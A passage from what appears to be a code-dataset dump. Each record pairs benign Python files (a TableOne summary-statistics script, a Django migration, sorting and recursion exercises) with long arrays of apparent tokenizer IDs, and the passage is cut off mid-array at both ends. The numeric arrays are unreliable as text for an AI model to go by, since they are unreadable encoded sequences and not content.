6979,
29918,
333,
29922,
27737,
29918,
6979,
29918,
333,
29892,
13,
9651,
321,
359,
29918,
6979,
29918,
333,
29922,
29872,
359,
29918,
6979,
29918,
333,
29892,
13,
9651,
3579,
19290,
29892,
13,
4706,
1723,
13,
4706,
1583,
29889,
3317,
29918,
29906,
29881,
29918,
3283,
29918,
17987,
29881,
886,
353,
4236,
29918,
29906,
29881,
29918,
3283,
29918,
17987,
29881,
886,
13,
4706,
1583,
29889,
29302,
29918,
2311,
353,
14821,
29918,
2311,
13,
4706,
1583,
29889,
12181,
29918,
2311,
353,
8267,
29918,
2311,
13,
4706,
1583,
29889,
5349,
29918,
22925,
29918,
1131,
2509,
29918,
29890,
3173,
353,
756,
29918,
22925,
29918,
1131,
2509,
29918,
29890,
3173,
13,
4706,
1583,
29889,
2674,
29918,
1066,
29918,
29890,
1144,
353,
1104,
29918,
1066,
29918,
29890,
1144,
13,
4706,
1583,
29889,
3317,
29918,
2674,
29918,
1066,
353,
4236,
29918,
2674,
29918,
1066,
13,
4706,
1583,
29889,
5349,
29918,
1028,
15238,
29918,
1131,
2509,
29918,
29890,
3173,
353,
756,
29918,
1028,
15238,
29918,
1131,
2509,
29918,
29890,
3173,
13,
4706,
1583,
29889,
2674,
29918,
29906,
29881,
29918,
1066,
29918,
29890,
1144,
353,
1104,
29918,
29906,
29881,
29918,
1066,
29918,
29890,
1144,
13,
4706,
1583,
29889,
3317,
29918,
2674,
29918,
29906,
29881,
29918,
1066,
353,
4236,
29918,
2674,
29918,
29906,
29881,
29918,
1066,
13,
4706,
1583,
29889,
726,
29918,
17987,
353,
1426,
29918,
17987,
13,
4706,
1583,
29889,
20119,
29918,
17987,
353,
7604,
29918,
17987,
13,
4706,
1583,
29889,
2080,
29918,
2311,
353,
1881,
29918,
2311,
13,
4706,
1583,
29889,
1949,
29918,
305,
12629,
353,
954,
29918,
305,
12629,
13,
4706,
1583,
29889,
5041,
29918,
2311,
353,
13261,
29918,
2311,
13,
4706,
1583,
29889,
1990,
3709,
29918,
8865,
449,
353,
770,
3709,
29918,
8865,
449,
13,
2
] |
ml4sts/summary_statistics.py | aguirre-lab/sts-ml | 0 | 103781 | <gh_stars>0
# Imports: standard library
import os
import logging
# Imports: third party
import pandas as pd
from tableone import TableOne
# Imports: ml4sts
# Imports: first party
from ml4sts.definitions import (
OUTCOME_MAP,
OPERATIVE_FEATURES,
CONTINUOUS_FEATURES,
DESCRIPTIVE_FEATURE_NAMES,
)
def summary_statistics(args):
df = pd.read_csv(args.path_to_csv, low_memory=False)
# Determine categorical features
categorical_features = set(args.features) - set(CONTINUOUS_FEATURES)
categorical_features -= set(OPERATIVE_FEATURES)
mytable = TableOne(
data=df,
columns=args.features,
categorical=list(categorical_features),
groupby=OUTCOME_MAP[args.outcome],
rename=DESCRIPTIVE_FEATURE_NAMES,
label_suffix=True,
missing=False,
decimals={"age": 0, "platelets": 0},
pval=True,
)
print(mytable.tabulate(tablefmt=args.tablefmt))
fpath = os.path.join(args.output_directory, args.id, "summary_statistics.csv")
mytable.to_csv(fpath)
logging.info(f"Saved {fpath}")
| [
1,
529,
12443,
29918,
303,
1503,
29958,
29900,
13,
29937,
1954,
4011,
29901,
3918,
3489,
13,
5215,
2897,
13,
5215,
12183,
13,
13,
29937,
1954,
4011,
29901,
4654,
6263,
13,
5215,
11701,
408,
10518,
13,
3166,
1591,
650,
1053,
6137,
6716,
13,
13,
29937,
1954,
4011,
29901,
286,
29880,
29946,
303,
29879,
13,
29937,
1954,
4011,
29901,
937,
6263,
13,
3166,
286,
29880,
29946,
303,
29879,
29889,
25476,
2187,
1053,
313,
13,
1678,
19474,
3217,
2303,
29918,
23827,
29892,
13,
1678,
6418,
1001,
1299,
18474,
29918,
16359,
1299,
11499,
29903,
29892,
13,
1678,
8707,
29911,
1177,
29965,
29949,
3308,
29918,
16359,
1299,
11499,
29903,
29892,
13,
1678,
23050,
24290,
18474,
29918,
16359,
1299,
11499,
29918,
5813,
29903,
29892,
13,
29897,
13,
13,
13,
1753,
15837,
29918,
6112,
6765,
29898,
5085,
1125,
13,
1678,
4489,
353,
10518,
29889,
949,
29918,
7638,
29898,
5085,
29889,
2084,
29918,
517,
29918,
7638,
29892,
4482,
29918,
14834,
29922,
8824,
29897,
13,
13,
1678,
396,
5953,
837,
457,
11608,
936,
5680,
13,
1678,
11608,
936,
29918,
22100,
353,
731,
29898,
5085,
29889,
22100,
29897,
448,
731,
29898,
22412,
1177,
29965,
29949,
3308,
29918,
16359,
1299,
11499,
29903,
29897,
13,
1678,
11608,
936,
29918,
22100,
22361,
731,
29898,
4590,
1001,
1299,
18474,
29918,
16359,
1299,
11499,
29903,
29897,
13,
13,
1678,
590,
2371,
353,
6137,
6716,
29898,
13,
4706,
848,
29922,
2176,
29892,
13,
4706,
4341,
29922,
5085,
29889,
22100,
29892,
13,
4706,
11608,
936,
29922,
1761,
29898,
29883,
20440,
936,
29918,
22100,
511,
13,
4706,
2318,
1609,
29922,
12015,
3217,
2303,
29918,
23827,
29961,
5085,
29889,
449,
2763,
1402,
13,
4706,
19508,
29922,
2287,
7187,
24290,
18474,
29918,
16359,
1299,
11499,
29918,
5813,
29903,
29892,
13,
4706,
3858,
29918,
2146,
600,
861,
29922,
5574,
29892,
13,
4706,
4567,
29922,
8824,
29892,
13,
4706,
1602,
326,
1338,
3790,
29908,
482,
1115,
29871,
29900,
29892,
376,
2341,
10376,
1115,
29871,
29900,
1118,
13,
4706,
282,
791,
29922,
5574,
29892,
13,
1678,
1723,
13,
13,
1678,
1596,
29898,
1357,
2371,
29889,
3891,
5987,
29898,
2371,
23479,
29922,
5085,
29889,
2371,
23479,
876,
13,
13,
1678,
285,
2084,
353,
2897,
29889,
2084,
29889,
7122,
29898,
5085,
29889,
4905,
29918,
12322,
29892,
6389,
29889,
333,
29892,
376,
7727,
29918,
6112,
6765,
29889,
7638,
1159,
13,
1678,
590,
2371,
29889,
517,
29918,
7638,
29898,
29888,
2084,
29897,
13,
1678,
12183,
29889,
3888,
29898,
29888,
29908,
29903,
10511,
426,
29888,
2084,
27195,
13,
2
] |
DjangoSite/apps/tones/migrations/0001_initial.py | abec/getabe.com | 0 | 60209 | <reponame>abec/getabe.com<filename>DjangoSite/apps/tones/migrations/0001_initial.py<gh_stars>0
# -*- coding: utf-8 -*-
from __future__ import unicode_literals
from django.db import models, migrations
class Migration(migrations.Migration):
dependencies = [
]
operations = [
migrations.CreateModel(
name='ChineseMetadata',
fields=[
('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),
('native', models.BooleanField(verbose_name='Native speaker')),
('gender', models.CharField(max_length=255, verbose_name='Gender')),
],
),
migrations.CreateModel(
name='ChineseWord',
fields=[
('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),
('word', models.CharField(max_length=255, verbose_name='Word')),
('wave', models.BinaryField(verbose_name='Wave', null=True, blank=True)),
('metadata', models.ForeignKey(related_name='words', to='tones.ChineseMetadata')),
],
),
]
| [
1,
529,
276,
1112,
420,
29958,
370,
687,
29914,
657,
4302,
29889,
510,
29966,
9507,
29958,
29928,
5364,
17033,
29914,
13371,
29914,
880,
267,
29914,
26983,
800,
29914,
29900,
29900,
29900,
29896,
29918,
11228,
29889,
2272,
29966,
12443,
29918,
303,
1503,
29958,
29900,
13,
29937,
448,
29930,
29899,
14137,
29901,
23616,
29899,
29947,
448,
29930,
29899,
13,
3166,
4770,
29888,
9130,
1649,
1053,
29104,
29918,
20889,
1338,
13,
13,
3166,
9557,
29889,
2585,
1053,
4733,
29892,
9725,
800,
13,
13,
13,
1990,
341,
16783,
29898,
26983,
800,
29889,
29924,
16783,
1125,
13,
13,
1678,
9962,
353,
518,
13,
1678,
4514,
13,
13,
1678,
6931,
353,
518,
13,
4706,
9725,
800,
29889,
4391,
3195,
29898,
13,
9651,
1024,
2433,
1451,
8233,
18417,
742,
13,
9651,
4235,
11759,
13,
18884,
6702,
333,
742,
4733,
29889,
12300,
3073,
29898,
369,
15828,
29918,
978,
2433,
1367,
742,
28755,
29922,
8824,
29892,
4469,
29918,
11600,
29922,
5574,
29892,
7601,
29918,
1989,
29922,
5574,
8243,
13,
18884,
6702,
11487,
742,
4733,
29889,
18146,
3073,
29898,
369,
15828,
29918,
978,
2433,
11024,
25657,
1495,
511,
13,
18884,
6702,
26098,
742,
4733,
29889,
27890,
29898,
3317,
29918,
2848,
29922,
29906,
29945,
29945,
29892,
26952,
29918,
978,
2433,
29954,
1581,
1495,
511,
13,
9651,
21251,
13,
4706,
10353,
13,
4706,
9725,
800,
29889,
4391,
3195,
29898,
13,
9651,
1024,
2433,
1451,
8233,
14463,
742,
13,
9651,
4235,
11759,
13,
18884,
6702,
333,
742,
4733,
29889,
12300,
3073,
29898,
369,
15828,
29918,
978,
2433,
1367,
742,
28755,
29922,
8824,
29892,
4469,
29918,
11600,
29922,
5574,
29892,
7601,
29918,
1989,
29922,
5574,
8243,
13,
18884,
6702,
1742,
742,
4733,
29889,
27890,
29898,
3317,
29918,
2848,
29922,
29906,
29945,
29945,
29892,
26952,
29918,
978,
2433,
14463,
1495,
511,
13,
18884,
6702,
27766,
742,
4733,
29889,
25196,
3073,
29898,
369,
15828,
29918,
978,
2433,
29956,
1351,
742,
1870,
29922,
5574,
29892,
9654,
29922,
5574,
8243,
13,
18884,
6702,
19635,
742,
4733,
29889,
27755,
2558,
29898,
12817,
29918,
978,
2433,
9303,
742,
304,
2433,
880,
267,
29889,
1451,
8233,
18417,
1495,
511,
13,
9651,
21251,
13,
4706,
10353,
13,
1678,
4514,
13,
2
] |
ch05/challenge.py | laszlokiraly/LearningAlgorithms | 74 | 100034 | <filename>ch05/challenge.py
"""
Challenge Exercises for Chapter 5.
"""
import timeit
from algs.table import DataTable, ExerciseNum, caption
from algs.modeling import n_log_n_model, quadratic_model, numpy_error
from ch01.book import Order
numRecursiveImproved = [0]
def num_swaps(A):
"""Given an array of integers from 0 to N-1, return number of swaps to sort."""
N = len(A)
seen = [False] * N
ct = 0
for i in range(N):
if not seen[i]:
idx = i
num = 0
while not seen[idx]:
num += 1
seen[idx] = True
idx = A[idx]
ct += (num - 1) # number of swaps is one less than size
return ct
def num_swaps_hashable(A):
"""Given an array of distinct strings, return minimum number of swaps."""
N = len(A)
seen = {}
final = {}
original = list(A)
# Selection sort and remember locations
for i in range(N-1):
min_index = i
for j in range(i+1, N):
if A[j] < A[min_index]:
min_index = j
final[A[min_index]] = i
A[i],A[min_index] = A[min_index],A[i]
final[A[N-1]] = N-1 # TRICKY can't forget this one
ct = 0
for i in range(N):
if not original[i] in seen:
idx = i
num = 0
while original[idx] not in seen:
num += 1
seen[original[idx]] = True
idx = final[original[idx]] # move to where final location will be
ct += (num - 1) # number of swaps is one less than size
return ct
def slice_merge_sort(A):
"""Merge Sort where merge uses Python slice."""
aux = [None] * len(A)
def rsort(lo, hi):
if hi <= lo:
return
mid = (lo+hi) // 2
rsort(lo, mid)
rsort(mid+1, hi)
merge(lo, mid, hi)
def merge(lo, mid, hi):
# copy results of sorted sub-problems into auxiliary storage
aux[lo:hi+1] = A[lo:hi+1]
i = lo # starting index into left sorted sub-array
j = mid+1 # starting index into right sorted sub-array
for k in range(lo, hi+1):
if i > mid:
A[k:hi+1] = aux[j:j+hi+1-k]
return
if j > hi:
A[k:hi+1] = aux[i:i+hi+1-k]
return
if aux[j] < aux[i]:
A[k] = aux[j]
j += 1
else:
A[k] = aux[i]
i += 1
rsort(0, len(A)-1)
def recursive_two(A):
"""Return two largest values in A, using recursive approach."""
def rtwo(lo, hi):
# Base case: 1 or two values
if lo == hi: return (A[lo], None)
if lo+1 == hi:
if A[lo] < A[hi]:
return (A[hi], A[lo])
return (A[lo], A[hi])
mid = (lo+hi) // 2
L = rtwo(lo, mid)
R = rtwo(mid+1, hi)
# Recursive case: Find largest of the possible four values. Note
# That L[1] can never be None since that would have been handled
# By the special case above where lo+1 == hi
if L[0] < R[0]:
if R[1] is None:
return (R[0], L[0])
return (R[0], R[1]) if L[0] < R[1] else (R[0], L[0])
return (L[0], L[1]) if R[0] < L[1] else (L[0], R[0])
return rtwo(0, len(A)-1)
def run_largest_two_trials_with_recursive(mode, max_k=22, output=True, decimals=2):
"""Mode is either Order.REVERSED or Order.SHUFFLED for 2**k up to (but not including) max_k."""
tbl = DataTable([10,15,15,10,10,15,15],
['N','double_two','mutable_two','largest_two','sorting_two','tournament_two','recursive_two'],
output=output, decimals=decimals)
if mode is Order.REVERSED:
prepare = 'list(reversed(x))'
if mode is Order.SHUFFLED:
prepare = 'random.shuffle(x)'
trials = [2**k for k in range(10,max_k)]
num = 100
for n in trials:
if mode is Order.ALTERNATING:
prepare = '''
up_down = zip(range(0,{0},2),range({0}-1,0,-2))
x=[i for i in itertools.chain(*up_down)]
'''.format(n)
m_dt = timeit.timeit(stmt='double_two(x)', setup='''
import random
from ch01.largest_two import double_two
x=list(range({}))
{}'''.format(n,prepare), number=num)
m_mt = timeit.timeit(stmt='mutable_two(x)', setup='''
import random
from ch01.largest_two import mutable_two
x=list(range({}))
{}'''.format(n,prepare), number=num)
m_lt = timeit.timeit(stmt='largest_two(x)', setup='''
import random
from ch01.largest_two import largest_two
x=list(range({}))
{}'''.format(n,prepare), number=num)
# hard-code these values since take too long to compute...
if n > 1048576:
m_tt = None
else:
m_tt = timeit.timeit(stmt='tournament_two(x)', setup='''
import random
from ch01.largest_two import tournament_two
x=list(range({}))
{}'''.format(n,prepare), number=num)
m_st = timeit.timeit(stmt='sorting_two(x)', setup='''
import random
from ch01.largest_two import sorting_two
x=list(range({}))
{}'''.format(n,prepare), number=num)
m_rt = timeit.timeit(stmt='recursive_two(x)', setup='''
import random
from ch05.challenge import recursive_two
x=list(range({}))
{}'''.format(n,prepare), number=num)
# Skip runs that are going to be too expensive
if m_tt:
tbl.row([n, m_dt, m_mt, m_lt, m_st, m_tt, m_rt])
else:
tbl.row([n, m_dt, m_mt, m_lt, m_st ])
return tbl
def fib(n):
"""Inefficient Fibonacci recurive implementation."""
if n <= 0: return 0
if n == 1: return 1
return fib(n-1) + fib(n-2)
fib_profile_count = [0]
def fib_profile(n):
"""Inefficient Fibonacci recurive implementation."""
fib_profile_count[0] += 1
if n <= 0: return 0
if n <= 1: return 1
return fib_profile(n-1) + fib_profile(n-2)
def fib_with_lucas(n):
"""
F_(x+y) = 1/2 * (F_x * L_y) + (F_y * L_x)
Improved efficiency using Lucas numbers.
"""
numRecursiveImproved[0] += 1
if n == 0: return 0
if n <= 2: return 1
if n == 3: return 2 # Needs to be here to prevent infinite recursion
remainder = n - n//2
return (fib_with_lucas(n//2)*lucas_with_fib(remainder) + fib_with_lucas(remainder)*lucas_with_fib(n//2)) / 2
def lucas_with_fib(n):
"""
Improved recursive implementation that takes advantage of identify that:
Ln = Fn-1 + Fn+1 for n > 1
"""
numRecursiveImproved[0] += 1
if n == 0: return 2
if n == 1: return 1
return fib_with_lucas(n-1) + fib_with_lucas(n+1)
def fib_table(output=True, decimals=3):
"""Generate table showing reduced recursive invocations of fibonacci."""
import math
tbl = DataTable([8,12,12],['N', 'FiRec', 'Model'], output=output, decimals=decimals)
tbl.format('FiRec', 'd')
def exp_model(n, a, b):
"""Formula for A*N^B ."""
return a*math.pow(n, b)
for n in range(3, 100):
old = numRecursiveImproved[0]
fib_with_lucas(n)
model = exp_model(n, 0.28711343, 2.58031481)
tbl.row([n, (numRecursiveImproved[0] - old), model])
if numpy_error:
pass
else:
import numpy as np
from scipy.optimize import curve_fit
x_arr = np.array(tbl.column(tbl.labels[0]))
y_arr = np.array(tbl.column(tbl.labels[1]))
def np_exp_model(n, a, b):
"""Formula for A*N^B ."""
return a*np.power(n, b)
if output:
[exp_coeffs, _] = curve_fit(np_exp_model, x_arr, y_arr)
print('A*N^B = {:.12f}*N^{:f} '.format(exp_coeffs[0], exp_coeffs[1]))
return tbl
def rediscover_heap(num_trials=10000000):
"""
Given a partial heap, rediscover original input probabilistically.
This might not work the first time, but after repeated attempts, the following
possible starting points were found:
[15, 12, 7, 4, 13, 8, 11, 14, 2, 1, 10, 9, 6, 9, 12, 8, 5, 14]
[8, 2, 15, 5, 1, 14, 11, 4, 12, 12, 10, 13, 6, 9, 7, 14, 9, 8] found in 2,380,433 tries
[13, 14, 12, 5, 10, 6, 14, 11, 9, 1, 12, 8, 15, 9, 7, 4, 8, 2]
[9, 10, 6, 13, 15, 8, 9, 4, 2, 1, 11, 14, 14, 12, 7, 8, 5, 12] found in 8394544 attempts.
[5, 9, 6, 14, 10, 13, 12, 11, 15, 1, 12, 8, 14, 9, 7, 4, 8, 2] found in 3234220 attempts
with seed 14
"""
from ch05.heapsort import HeapSort
from random import shuffle, seed
A = [15, 13, 14, 12, 11, 12, 14, 8, 9, 1, 10, 8, 6, 9, 7, 4, 5, 2]
N = len(A)
more = 2
seed(14)
for i in range(num_trials):
copy = list(A)
shuffle(copy)
copy1 = list(copy)
hs = HeapSort(copy)
one = hs.A[N//2 - more:]
two = A[N//2 - more:]
if one == two:
return '{} found in {} attempts.'.format(copy1, i)
return 'none found in {} attempts'.format(i)
def insertion_sort_bas(max_k=18, output=True, decimals=3):
"""Generate Table for Insertion Sort."""
# Evaluate prototype execution
x = []
y = []
for n in [2**k for k in range(8, 12)]:
m_insert_bas = 1000*min(timeit.repeat(stmt='insertion_sort_bas(A)', setup='''
import random
from ch05.sorting import insertion_sort_bas
A=list(range({}))
random.shuffle(A)'''.format(n), repeat=10, number=10))
x.append(n)
y.append(m_insert_bas)
# Coefficients are returned as first argument
if numpy_error:
log_coeffs = quadratic_coeffs = [0, 0]
else:
import numpy as np
from scipy.optimize import curve_fit
[log_coeffs, _] = curve_fit(n_log_n_model, np.array(x), np.array(y))
[quadratic_coeffs, _] = curve_fit(quadratic_model, np.array(x), np.array(y))
if output:
print('Quadratic = {}*N*N + {}*N'.format(quadratic_coeffs[0], quadratic_coeffs[1]))
print('Log = {:.12f}*N*log2(N)'.format(log_coeffs[0]))
print()
tbl = DataTable([12,10,10,10],['N','Time','Quad','Log'], output=output, decimals=decimals)
for n,p in zip(x,y):
tbl.row([n, p, quadratic_model(n,
quadratic_coeffs[0], quadratic_coeffs[1]), n_log_n_model(n, log_coeffs[0])])
for n in [2**k for k in range(12, max_k)]:
m_insert_bas = 1000*min(timeit.repeat(stmt='insertion_sort_bas(A)', setup='''
import random
from ch05.sorting import insertion_sort_bas
A=list(range({}))
random.shuffle(A)'''.format(n), repeat=10, number=10))
tbl.row([n, m_insert_bas,
quadratic_model(n, quadratic_coeffs[0], quadratic_coeffs[1]),
n_log_n_model(n, log_coeffs[0])])
return tbl
def trial_merge_sort_python_style(max_k=15, output=True, decimals=3):
"""Empirical trial for merge sort using slicing."""
tbl = DataTable([8, 8, 8], ['N', 'merge', 'mergeSlice'], output=output, decimals=decimals)
for n in [2**k for k in range(8, max_k)]:
m_slice = 1000*min(timeit.repeat(stmt='slice_merge_sort(A)', setup='''
import random
from ch05.challenge import slice_merge_sort
A=list(range({}))
random.shuffle(A)'''.format(n), repeat=10, number=10))
m_merge = 1000*min(timeit.repeat(stmt='merge_sort(A)', setup='''
import random
from ch05.merge import merge_sort
A=list(range({}))
random.shuffle(A)'''.format(n), repeat=10, number=10))
tbl.row([n, m_merge, m_slice])
return tbl
#######################################################################
if __name__ == '__main__':
chapter = 5
with ExerciseNum(1) as exercise_number:
print('find count() in ch05.recursion')
print(caption(chapter, exercise_number), 'Recursive count method')
print()
with ExerciseNum(2) as exercise_number:
print('find num_swaps() in ch05.challenge')
print(caption(chapter, exercise_number), 'Compute number of swaps in array with 0 .. N-1')
print()
with ExerciseNum(3) as exercise_number:
from ch05.recursion import find_max_with_count
print('how many comparisons to find max in array of size N=15:', find_max_with_count(list(range(15)))[0], 'or N-1')
print()
with ExerciseNum(4) as exercise_number:
trial_merge_sort_python_style()
print('Merge Sort with Python slice improves performance of MergeSort.')
print()
with ExerciseNum(5) as exercise_number:
run_largest_two_trials_with_recursive(Order.REVERSED)
print('find recursive_two() in ch05.challenge.')
print()
with ExerciseNum(6) as exercise_number:
fib_table()
print('find recursive_two() in ch05.challenge.')
print()
print('Attempting to rediscover heap. This might take unusually long time')
print(rediscover_heap())
| [
1,
529,
9507,
29958,
305,
29900,
29945,
29914,
305,
11768,
29889,
2272,
13,
15945,
29908,
13,
1451,
11768,
1222,
261,
3476,
267,
363,
23040,
29871,
29945,
29889,
13,
15945,
29908,
13,
13,
5215,
931,
277,
13,
13,
3166,
3093,
29879,
29889,
2371,
1053,
3630,
3562,
29892,
1222,
6269,
895,
8009,
29892,
5777,
683,
13,
3166,
3093,
29879,
29889,
4299,
292,
1053,
302,
29918,
1188,
29918,
29876,
29918,
4299,
29892,
25904,
29918,
4299,
29892,
12655,
29918,
2704,
13,
3166,
521,
29900,
29896,
29889,
2909,
1053,
8170,
13,
13,
1949,
4789,
25397,
1888,
771,
1490,
353,
518,
29900,
29962,
13,
13,
1753,
954,
29918,
2774,
2547,
29898,
29909,
1125,
13,
1678,
9995,
29954,
5428,
385,
1409,
310,
11920,
515,
29871,
29900,
304,
405,
29899,
29896,
29892,
736,
1353,
310,
2381,
2547,
304,
2656,
1213,
15945,
13,
1678,
405,
353,
7431,
29898,
29909,
29897,
13,
1678,
3595,
353,
518,
8824,
29962,
334,
405,
13,
13,
1678,
274,
29873,
353,
29871,
29900,
13,
1678,
363,
474,
297,
3464,
29898,
29940,
1125,
13,
4706,
565,
451,
3595,
29961,
29875,
5387,
13,
9651,
22645,
353,
474,
13,
9651,
954,
353,
29871,
29900,
13,
9651,
1550,
451,
3595,
29961,
13140,
5387,
13,
18884,
954,
4619,
29871,
29896,
13,
18884,
3595,
29961,
13140,
29962,
353,
5852,
13,
18884,
22645,
353,
319,
29961,
13140,
29962,
13,
13,
9651,
274,
29873,
4619,
313,
1949,
448,
29871,
29896,
29897,
539,
396,
1353,
310,
2381,
2547,
338,
697,
3109,
1135,
2159,
13,
13,
1678,
736,
274,
29873,
13,
13,
1753,
954,
29918,
2774,
2547,
29918,
8568,
519,
29898,
29909,
1125,
13,
1678,
9995,
29954,
5428,
385,
1409,
310,
8359,
6031,
29892,
736,
9212,
1353,
310,
2381,
2547,
1213,
15945,
13,
1678,
405,
353,
7431,
29898,
29909,
29897,
13,
1678,
3595,
353,
6571,
13,
1678,
2186,
353,
6571,
13,
1678,
2441,
353,
1051,
29898,
29909,
29897,
13,
13,
1678,
396,
27930,
2656,
322,
6456,
14354,
13,
1678,
363,
474,
297,
3464,
29898,
29940,
29899,
29896,
1125,
13,
4706,
1375,
29918,
2248,
353,
474,
13,
4706,
363,
432,
297,
3464,
29898,
29875,
29974,
29896,
29892,
405,
1125,
13,
9651,
565,
319,
29961,
29926,
29962,
529,
319,
29961,
1195,
29918,
2248,
5387,
13,
18884,
1375,
29918,
2248,
353,
432,
13,
13,
4706,
2186,
29961,
29909,
29961,
1195,
29918,
2248,
5262,
353,
474,
13,
4706,
319,
29961,
29875,
1402,
29909,
29961,
1195,
29918,
2248,
29962,
353,
319,
29961,
1195,
29918,
2248,
1402,
29909,
29961,
29875,
29962,
13,
1678,
2186,
29961,
29909,
29961,
29940,
29899,
29896,
5262,
353,
405,
29899,
29896,
1678,
396,
10014,
2965,
29968,
29979,
508,
29915,
29873,
9566,
445,
697,
13,
13,
1678,
274,
29873,
353,
29871,
29900,
13,
1678,
363,
474,
297,
3464,
29898,
29940,
1125,
13,
4706,
565,
451,
2441,
29961,
29875,
29962,
297,
3595,
29901,
13,
9651,
22645,
353,
474,
13,
9651,
954,
353,
29871,
29900,
13,
9651,
1550,
2441,
29961,
13140,
29962,
451,
297,
3595,
29901,
13,
18884,
954,
4619,
29871,
29896,
13,
18884,
3595,
29961,
13492,
29961,
13140,
5262,
353,
5852,
13,
18884,
22645,
353,
2186,
29961,
13492,
29961,
13140,
5262,
1678,
396,
4337,
304,
988,
2186,
4423,
674,
367,
13,
13,
9651,
274,
29873,
4619,
313,
1949,
448,
29871,
29896,
29897,
539,
396,
1353,
310,
2381,
2547,
338,
697,
3109,
1135,
2159,
13,
13,
1678,
736,
274,
29873,
13,
13,
1753,
22780,
29918,
14634,
29918,
6605,
29898,
29909,
1125,
13,
1678,
9995,
15836,
479,
20025,
988,
10366,
3913,
5132,
22780,
1213,
15945,
13,
1678,
3479,
353,
518,
8516,
29962,
334,
7431,
29898,
29909,
29897,
13,
13,
1678,
822,
364,
6605,
29898,
417,
29892,
7251,
1125,
13,
4706,
565,
7251,
5277,
658,
29901,
13,
9651,
736,
13,
13,
4706,
7145,
353,
313,
417,
29974,
2918,
29897,
849,
29871,
29906,
13,
4706,
364,
6605,
29898,
417,
29892,
7145,
29897,
13,
4706,
364,
6605,
29898,
6563,
29974,
29896,
29892,
7251,
29897,
13,
4706,
10366,
29898,
417,
29892,
7145,
29892,
7251,
29897,
13,
13,
1678,
822,
10366,
29898,
417,
29892,
7145,
29892,
7251,
1125,
13,
4706,
396,
3509,
2582,
310,
12705,
1014,
29899,
17199,
29879,
964,
29587,
653,
8635,
13,
4706,
3479,
29961,
417,
29901,
2918,
29974,
29896,
29962,
353,
319,
29961,
417,
29901,
2918,
29974,
29896,
29962,
13,
13,
4706,
474,
353,
658,
539,
396,
6257,
2380,
964,
2175,
12705,
1014,
29899,
2378,
13,
4706,
432,
353,
7145,
29974,
29896,
1678,
396,
6257,
2380,
964,
1492,
12705,
1014,
29899,
2378,
13,
13,
4706,
363,
413,
297,
3464,
29898,
417,
29892,
7251,
29974,
29896,
1125,
13,
9651,
565,
474,
1405,
7145,
29901,
13,
18884,
319,
29961,
29895,
29901,
2918,
29974,
29896,
29962,
353,
3479,
29961,
29926,
29901,
29926,
29974,
2918,
29974,
29896,
29899,
29895,
29962,
13,
18884,
736,
13,
9651,
565,
432,
1405,
7251,
29901,
13,
18884,
319,
29961,
29895,
29901,
2918,
29974,
29896,
29962,
353,
3479,
29961,
29875,
29901,
29875,
29974,
2918,
29974,
29896,
29899,
29895,
29962,
13,
18884,
736,
13,
9651,
565,
3479,
29961,
29926,
29962,
529,
3479,
29961,
29875,
5387,
13,
18884,
319,
29961,
29895,
29962,
353,
3479,
29961,
29926,
29962,
13,
18884,
432,
4619,
29871,
29896,
13,
9651,
1683,
29901,
13,
18884,
319,
29961,
29895,
29962,
353,
3479,
29961,
29875,
29962,
13,
18884,
474,
4619,
29871,
29896,
13,
13,
1678,
364,
6605,
29898,
29900,
29892,
7431,
29898,
29909,
6817,
29896,
29897,
13,
13,
1753,
16732,
29918,
10184,
29898,
29909,
1125,
13,
1678,
9995,
11609,
1023,
10150,
1819,
297,
319,
29892,
773,
16732,
2948,
1213,
15945,
13,
13,
1678,
822,
364,
10184,
29898,
417,
29892,
7251,
1125,
13,
4706,
396,
7399,
1206,
29901,
29871,
29896,
470,
1023,
1819,
13,
4706,
565,
658,
1275,
7251,
29901,
736,
313,
29909,
29961,
417,
1402,
6213,
29897,
13,
4706,
565,
658,
29974,
29896,
1275,
7251,
29901,
13,
9651,
565,
319,
29961,
417,
29962,
529,
319,
29961,
2918,
5387,
13,
18884,
736,
313,
29909,
29961,
2918,
1402,
319,
29961,
417,
2314,
13,
9651,
736,
313,
29909,
29961,
417,
1402,
319,
29961,
2918,
2314,
13,
13,
4706,
7145,
353,
313,
417,
29974,
2918,
29897,
849,
29871,
29906,
13,
4706,
365,
353,
364,
10184,
29898,
417,
29892,
7145,
29897,
13,
4706,
390,
353,
364,
10184,
29898,
6563,
29974,
29896,
29892,
7251,
29897,
13,
13,
4706,
396,
3599,
25397,
1206,
29901,
10987,
10150,
310,
278,
1950,
3023,
1819,
29889,
3940,
13,
4706,
396,
2193,
365,
29961,
29896,
29962,
508,
2360,
367,
6213,
1951,
393,
723,
505,
1063,
16459,
13,
4706,
396,
2648,
278,
4266,
1206,
2038,
988,
658,
29974,
29896,
1275,
7251,
13,
4706,
565,
365,
29961,
29900,
29962,
529,
390,
29961,
29900,
5387,
13,
9651,
565,
390,
29961,
29896,
29962,
338,
6213,
29901,
13,
18884,
736,
313,
29934,
29961,
29900,
1402,
365,
29961,
29900,
2314,
13,
9651,
736,
313,
29934,
29961,
29900,
1402,
390,
29961,
29896,
2314,
565,
365,
29961,
29900,
29962,
529,
390,
29961,
29896,
29962,
1683,
313,
29934,
29961,
29900,
1402,
365,
29961,
29900,
2314,
13,
4706,
736,
313,
29931,
29961,
29900,
1402,
365,
29961,
29896,
2314,
565,
390,
29961,
29900,
29962,
529,
365,
29961,
29896,
29962,
1683,
313,
29931,
29961,
29900,
1402,
390,
29961,
29900,
2314,
13,
13,
1678,
736,
364,
10184,
29898,
29900,
29892,
7431,
29898,
29909,
6817,
29896,
29897,
13,
13,
1753,
1065,
29918,
27489,
342,
29918,
10184,
29918,
3626,
1338,
29918,
2541,
29918,
3757,
25397,
29898,
8513,
29892,
4236,
29918,
29895,
29922,
29906,
29906,
29892,
1962,
29922,
5574,
29892,
1602,
326,
1338,
29922,
29906,
1125,
13,
1678,
9995,
6818,
338,
2845,
8170,
29889,
1525,
5348,
1660,
29928,
470,
8170,
29889,
7068,
29965,
4198,
20566,
363,
29871,
29906,
1068,
29895,
701,
304,
313,
4187,
451,
3704,
29897,
4236,
29918,
29895,
1213,
15945,
13,
1678,
19018,
353,
3630,
3562,
4197,
29896,
29900,
29892,
29896,
29945,
29892,
29896,
29945,
29892,
29896,
29900,
29892,
29896,
29900,
29892,
29896,
29945,
29892,
29896,
29945,
1402,
13,
4706,
6024,
29940,
3788,
8896,
29918,
10184,
3788,
23975,
29918,
10184,
3788,
27489,
342,
29918,
10184,
3788,
6605,
292,
29918,
10184,
3788,
29873,
2905,
1166,
29918,
10184,
3788,
